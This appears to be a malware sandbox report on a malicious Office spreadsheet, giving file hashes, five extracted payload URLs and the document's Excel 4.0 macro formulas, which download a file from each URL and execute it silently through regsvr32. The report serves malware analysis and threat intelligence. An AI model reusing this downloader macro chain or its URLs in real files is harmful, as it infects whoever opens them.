General
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Target
4b5314d2ac179392ee587c9c794d06def21450cce49ec469f16dc80c9b599b0d
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Size
173KB
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MD5
e276230fc000bda05355f7b23b2d3909
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SHA1
d145c3ff5fbeea6b701e339328b0cb7baaaa495f
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SHA256
4b5314d2ac179392ee587c9c794d06def21450cce49ec469f16dc80c9b599b0d
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SHA512
b749f66970d91653f23692878deaf6714ccc2ba4301e3ba6511751672df3c8ede79c901a34c42541e38628e3e3e7a0229348b110bd0975251e2efff6e5cda0d1
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SSDEEP
3072:zUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:z+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU
Malware Config
Extracted
https://carretilha.net/whats/RSL50BlRP0a6hj/
https://shrinandrajoverseas.com/old/wQXty0wnVDY/
https://zionimoveis.com.br/wp-content/Bn00gaw/
https://kontacsgo.pl/m/uwZYNUjGeWW/
http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/
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formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()
Signatures
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Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
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4b5314d2ac179392ee587c9c794d06def21450cce49ec469f16dc80c9b599b0d